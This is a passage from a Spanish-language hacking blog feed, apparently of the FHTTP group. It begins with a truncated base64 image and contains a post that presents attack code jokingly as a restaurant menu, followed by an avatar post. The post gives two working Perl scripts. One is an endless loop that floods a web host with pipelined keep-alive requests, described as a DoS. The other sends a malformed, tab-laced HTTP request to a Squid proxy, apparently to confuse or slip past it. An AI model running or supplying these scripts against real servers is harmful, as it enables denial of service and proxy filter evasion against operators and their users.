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" alt="" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Bienvenido al Restaurante de "Los Caballeros", el día de hoy tenemos un especial de calamar, esperamos que todos nuestros platillos sean de su agrado.&lt;br /&gt;&lt;br /&gt;De entrada tenemos un platillo un poco pesado: &lt;span style="font-weight: bold;"&gt;Calamares bien rellenos a la "Los Caballeros" (platillo para DoS personas).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este platillo es muy similar a FHTTP sobre una cama de Apache o IIS, es un poco fuerte al gusto, la diferencia es que en este caso tiene calamar y esta aderezado con un poco de Perl.&lt;br /&gt;&lt;pre class="Php" name="code"&gt;use IO::Socket::INET;&lt;br /&gt;my $host = "www.google.com";&lt;br /&gt;my $requests = 10;&lt;br /&gt;my $payload = ("GET http://".$host."/ HTTP/1.1\nConnection: keep-alive\n\n")x($requests);&lt;br /&gt;while(1) {&lt;br /&gt;$sock = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; $host,PeerPort =&amp;gt; 'http(80)',Proto =&amp;gt; 'tcp');&lt;br /&gt;die("Se quemo!") unless($sock);&lt;br /&gt;print $sock $payload;&lt;br /&gt;close($sock);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;De platillo fuerte tenemos: &lt;span style="font-weight: bold;"&gt;Calamar del Infierno.&lt;/span&gt;&lt;br /&gt;Tal y como su nombre lo indica es un calamar muy raro, bastante difícil de atrapar (seguramente a los pescadores les dio en verdadero dolor de cabeza), debido a que ha desarrollado grandes capacidades para ocultarse de diferentes formas en su habitad natural. Pero solo por hoy lo traemos para que usted lo deguste.&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;use IO::Socket;&lt;br /&gt;use threads;&lt;br /&gt;use threads::shared;&lt;br /&gt;$squid = "localhost";&lt;br /&gt;$squidport = "3128";&lt;br /&gt;$path = "/index.php";&lt;br /&gt;$host = "localhost";&lt;br /&gt;$host =~ s/([^\t])/$1\t/g;&lt;br /&gt;$pay = "\tGET\thttp://".$host.$path."?basura=\tHTTP/\rGET /echo.php\r\nGET nanananananananananananananananabatmanbatman HTTP/\rHost: squid-house\nCatch: me\rif\ryu\rcan\nConnection: keep-alive\n\n";&lt;br /&gt;print "Sending...\n";&lt;br /&gt;my $sock = new IO::Socket::INET(&lt;br /&gt;  PeerAddr =&amp;gt; $squid,&lt;br /&gt;  PeerPort =&amp;gt; $squidport,&lt;br /&gt;  Proto =&amp;gt; 'tcp',&lt;br /&gt;  );&lt;br /&gt;die "Se quemo! $!\n" unless $sock;&lt;br /&gt;print $sock $pay;&lt;br /&gt;while(&amp;lt;$sock&amp;gt;) {&lt;br /&gt;  print $_;&lt;br /&gt;}&lt;br /&gt;close($sock);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;De postre se le apetece un helado?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Gracias por su visita y vuelta pronto :)&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-5024433785160070129?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/5024433785160070129/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=5024433785160070129' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5024433785160070129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5024433785160070129'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/01/squid-proxy-yo-no-lo-utilizaria.html' title='Squid Proxy... yo no lo utilizaría'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-1063574982649296751</id><published>2011-12-04T16:43:00.002-06:00</published><updated>2011-12-04T16:46:33.780-06:00</updated><title type='text'>Avatar de los caballeros (FHTTP)</title><content type='html'>Agrego unos avatares si a alguien le interesa ;)...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;256x256:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-VyKEG7ksEfY/Ttv37ddaFkI/AAAAAAAAAJs/qnAEFrMNqPo/s1600/avatar-256.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 256px; height: 256px;" src="http://1.bp.blogspot.com/-VyKEG7ksEfY/Ttv37ddaFkI/AAAAAAAAAJs/qnAEFrMNqPo/s320/avatar-256.png" alt="" id="BLOGGER_PHOTO_ID_5682407955750327874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;128x128:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-lTnnLPF6uXA/Ttv4F_Cx1MI/AAAAAAAAAJ4/8L8R55bj-SM/s1600/avatar-128.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 118px; height: 118px;" src="http://2.bp.blogspot.com/-lTnnLPF6uXA/Ttv4F_Cx1MI/AAAAAAAAAJ4/8L8R55bj-SM/s320/avatar-128.png" alt="" id="BLOGGER_PHOTO_ID_5682408136564135106" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Clic en la imagen para ver el original ;)...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-1063574982649296751?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/1063574982649296751/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=1063574982649296751' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1063574982649296751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1063574982649296751'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/12/avatar-de-los-caballeros-fhttp.html' title='Avatar de los caballeros (FHTTP)'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-VyKEG7ksEfY/Ttv37ddaFkI/AAAAAAAAAJs/qnAEFrMNqPo/s72-c/avatar-256.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-1755212806407704273</id><published>2011-11-14T16:14:00.002-06:00</published><updated>2011-11-14T16:18:07.524-06:00</updated><title type='text'>Wiki FHTTP</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 